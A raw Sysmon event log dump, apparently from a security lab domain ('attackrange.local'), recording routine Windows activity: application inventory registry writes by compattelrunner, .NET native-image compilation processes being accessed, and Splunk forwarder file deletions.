14:45:14.353{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\BinProductVersion16.0.13801.20476 13241300x800000000000000045128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:45:14.353{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\LinkDate04/07/2021 00:46:49 13241300x800000000000000045127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.353{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\Publishermicrosoft corporation 13241300x800000000000000045126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:45:14.353{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\integrator.exe|1b5d0d4b4f0be95e\LowerCaseLongPathc:\program files\microsoft office\root\integration\integrator.exe 13241300x800000000000000045125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.352{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplication\0000cf1b12c637e30aadd3be6afec771a6db00000904\PublisherMicrosoft Corporation 13241300x800000000000000045124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\onedrivesetup.ex|789cb1de8c8294de\BinProductVersion18.151.729.13 13241300x800000000000000045123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\onedrivesetup.ex|789cb1de8c8294de\LinkDate09/17/2018 17:44:14 13241300x800000000000000045122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\onedrivesetup.ex|789cb1de8c8294de\Publishermicrosoft corporation 13241300x800000000000000045121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\onedrivesetup.ex|789cb1de8c8294de\LowerCaseLongPathc:\users\administrator\appdata\local\microsoft\onedrive\18.151.0729.0013\onedrivesetup.exe 13241300x800000000000000045120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\filesyncconfig.e|4703eb564c4346d9\BinProductVersion18.151.729.13 13241300x800000000000000045119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\filesyncconfig.e|4703eb564c4346d9\LinkDate09/17/2018 17:42:31 13241300x800000000000000045118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\filesyncconfig.e|4703eb564c4346d9\Publishermicrosoft corporation 13241300x800000000000000045117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\filesyncconfig.e|4703eb564c4346d9\LowerCaseLongPathc:\users\administrator\appdata\local\microsoft\onedrive\18.151.0729.0013\filesyncconfig.exe 13241300x800000000000000045116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\filecoauth.exe|11eeeb6793d3440c\BinProductVersion18.151.729.13 13241300x800000000000000045115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\filecoauth.exe|11eeeb6793d3440c\LinkDate09/17/2018 17:44:21 13241300x800000000000000045114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\filecoauth.exe|11eeeb6793d3440c\Publishermicrosoft corporation 13241300x800000000000000045113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\filecoauth.exe|11eeeb6793d3440c\LowerCaseLongPathc:\users\administrator\appdata\local\microsoft\onedrive\18.151.0729.0013\filecoauth.exe 13241300x800000000000000045112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.327{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplication\0000ac2b164d991c1905149501b3a507eacf0000ffff\PublisherMicrosoft Corporation 13241300x800000000000000045111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\uninstallservice|b474e6e3b02d0a2f\BinProductVersion1.0.0.0 13241300x800000000000000045110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\uninstallservice|b474e6e3b02d0a2f\LinkDate12/02/2073 23:47:04 13241300x800000000000000045109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\uninstallservice|b474e6e3b02d0a2f\Publisher(Empty) 13241300x800000000000000045108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\uninstallservice|b474e6e3b02d0a2f\LowerCaseLongPathc:\program files (x86)\microsoft\microsoft search in bing\uninstallservice.exe 13241300x800000000000000045107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\removemsbextensi|93cc3e9226dd48dc\BinProductVersion1.0.0.0 13241300x800000000000000045106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\removemsbextensi|93cc3e9226dd48dc\LinkDate04/25/2077 17:19:24 13241300x800000000000000045105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\removemsbextensi|93cc3e9226dd48dc\Publisher(Empty) 13241300x800000000000000045104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\removemsbextensi|93cc3e9226dd48dc\LowerCaseLongPathc:\program files (x86)\microsoft\microsoft search in bing\removemsbextension.exe 13241300x800000000000000045103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\microsoftsearchi|c0ce89b6d5da1587\BinProductVersion1.0.0.0 13241300x800000000000000045102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\microsoftsearchi|c0ce89b6d5da1587\LinkDate09/17/2080 23:31:16 13241300x800000000000000045101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\microsoftsearchi|c0ce89b6d5da1587\Publisher(Empty) 13241300x800000000000000045100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\microsoftsearchi|c0ce89b6d5da1587\LowerCaseLongPathc:\program files (x86)\microsoft\microsoft search in bing\microsoftsearchinbing.exe 13241300x800000000000000045099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\mainextbootstrap|8c1cfa07cd2269e4\BinProductVersion1.0.0.0 13241300x800000000000000045098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\mainextbootstrap|8c1cfa07cd2269e4\LinkDate08/03/2044 21:14:45 13241300x800000000000000045097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\mainextbootstrap|8c1cfa07cd2269e4\Publisher(Empty) 13241300x800000000000000045096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\mainextbootstrap|8c1cfa07cd2269e4\LowerCaseLongPathc:\program files (x86)\microsoft\microsoft search in bing\mainextbootstrap.exe 13241300x800000000000000045095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\extensionnativeh|84dfb41629fd8d14\BinProductVersion1.0.0.0 13241300x800000000000000045094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\extensionnativeh|84dfb41629fd8d14\LinkDate03/16/2053 06:17:47 13241300x800000000000000045093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\extensionnativeh|84dfb41629fd8d14\Publisher(Empty) 13241300x800000000000000045092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\extensionnativeh|84dfb41629fd8d14\LowerCaseLongPathc:\program files (x86)\microsoft\microsoft search in bing\extensionnativehost.exe 13241300x800000000000000045091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.267{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplication\0000e69baca32582bf26aefc45ba1980a48700000904\PublisherMicrosoft Corporation 10341000x800000000000000045090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.026{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7A-613B-200A-00000000F001}5240C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.016{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7A-613B-200A-00000000F001}5240C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.006{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7A-613B-200A-00000000F001}5240C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013997Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:15.888{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0E82736A07197D92F2D604483C3714E1,SHA256=76BBE50339EEC1DDB328AD266E752A5CAF061CBEBD43945543A877D3309ACFBF,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.741{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7B-613B-2B0A-00000000F001}2180C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.731{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7B-613B-2B0A-00000000F001}2180C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.731{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7B-613B-2B0A-00000000F001}2180C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.661{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7B-613B-2A0A-00000000F001}6188C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.643{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7B-613B-2A0A-00000000F001}6188C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.643{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7B-613B-2A0A-00000000F001}6188C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000045170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:15.603{7BD73061-6F7B-613B-290A-00000000F001}7056C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\1b90-0\Microsoft.VisualStudio.Tools.Office.ContainerControl.dll2021-09-10 14:45:15.603 23542300x800000000000000045169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.518{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D908B6175037AD974F32E926F174BED5,SHA256=31C707AC40C464AADB1E5177D59587654288753CE962E4B7C846155CEAB79A14,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:15.438{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7B-613B-290A-00000000F001}7056C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 